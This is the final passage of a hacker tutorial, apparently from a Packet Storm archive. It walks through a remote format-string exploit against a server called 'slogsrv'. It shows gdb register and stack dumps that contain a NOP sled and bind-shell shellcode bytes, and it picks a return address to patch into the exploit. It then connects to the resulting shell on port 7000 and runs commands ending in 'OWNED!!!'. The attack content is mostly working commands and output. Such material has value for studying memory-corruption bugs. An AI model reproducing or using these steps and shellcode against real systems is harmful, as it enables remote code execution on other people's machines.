Reading symbols from /home/skew/Desktop/slogsrv...done.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x400ff276 in accept () from /lib/libc.so.6
(gdb) c
Continuing.

(Change back terminal)

skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000

Slogsrv Remote Format String Exploit
skew 05.23.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000

Slogsrv Remote Format String Exploit
skew 05.23.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~/Desktop$

(Change terminal)

Program received signal SIGSEGV, Segmentation fault.
0x11223344 in ?? ()
(gdb) i r
eax 0xbffff0a0 -1073745760
ecx 0xbffff0a0 -1073745760
edx 0x800 2048
ebx 0x40156880 1075144832
esp 0xbffff08c 0xbffff08c
ebp 0xbffff8a8 0xbffff8a8
esi 0x40016460 1073833056
edi 0xbffff964 -1073743516
eip 0x11223344 0x11223344
eflags 0x210217 2163223
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)

Great, we overwrote the return address once again. Read on to the next sub-section.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.2.4 Ok, lets get our good return address.

(gdb) x/100x $esp
0xbffff08c: 0x08048749 0x00000005 0xbffff0a0 0x00000800
0xbffff09c: 0x00000000 0x08049d4a 0x08049d48 0x33342e25
0xbffff0ac: 0x25783837 0x6e682433 0x37382e25 0x25783833
0xbffff0bc: 0x6e682434 0x90909090 0x90909090 0x90909090
0xbffff0cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0dc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0ec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0fc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff10c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff11c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff12c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff13c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff14c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff15c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff16c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff17c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff18c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff19c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1bc: 0x90909090 0x50c03102 0x44c76650 0x581b0224
0xbffff1cc: 0x022404c6 0x02b0e689 0xc08580cd 0xc0310874
0xbffff1dc: 0x01b0db31 0x6a5080cd 0x89026a01 0xb0db31e1
0xbffff1ec: 0xcd01b366 0x6ac58980 0x89505610 0xb366b0e1
0xbffff1fc: 0x6a80cd02 0xe1895501 0xdb31c031 0x04b366b0
0xbffff20c: 0xc03180cd 0x89555050 0xb366b0e1 0x8980cd05
(gdb)

Hmm.... lets use 0xbffff15c, it looks like a winner! ;P.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.2.5 Finally, lets spawn our oh so long awaited for... shell!

Again, makes these changes to our exploit: #define RET 0x11223344 // testing 1-2-3 --> #define RET 0xbffff15c // debian 3.1

Nows lets grab some shell...... YEAH!

skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000

Slogsrv Remote Format String Exploit
skew 05.23.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000

Slogsrv Remote Format String Exploit
skew 05.23.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~/Desktop$ netstat -antp | grep 7000
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 12845/slogsrv
skew@vortex:~/Desktop$ telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
uname -a;id;echo;echo "OWNED!!!";echo
Linux vortex 2.4.27-2-k7 #1 Thu Jan 20 11:25:34 JST 2005 i686 GNU/Linux
uid=1000(skew) gid=1000(skew) groups=1000(skew),20(dialout),24(cdrom),25(floppy),29(audio),44(video)

OWNED!!!

: command not found
exit;
Connection closed by foreign host.
skew@vortex:~/Desktop$

H0h0h0.. shell ;).

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

5. Greets go out to...

Darkeagle, you are my bro man and format string master, hehe.

Wsxz, you too are my bro and format string master, without you and darkeagle I wouldn't even know format string ;).

CoKi, Xort, Atomix, Camel, Xtix, Crash-x, ChoiX, Vile, Coideloko, oMiC, CoKi, and all else, thanks for being cool guys.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

6. Format string bugs are not something to be taken lightly, or as you seen here, they are can bite you in the butt quite hard, and
also can be lots of fun and very valuable to attacks as well. Wu-FTPd, PHP, and many other big names in software have been exploited
due to these once thought of "programming errors", but now thought of "exploitation vectors". Well, I hope this helped someone, later.

-skew (skewtty@charter.net/http://skewtty.dyndns.org) 05.23.05
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close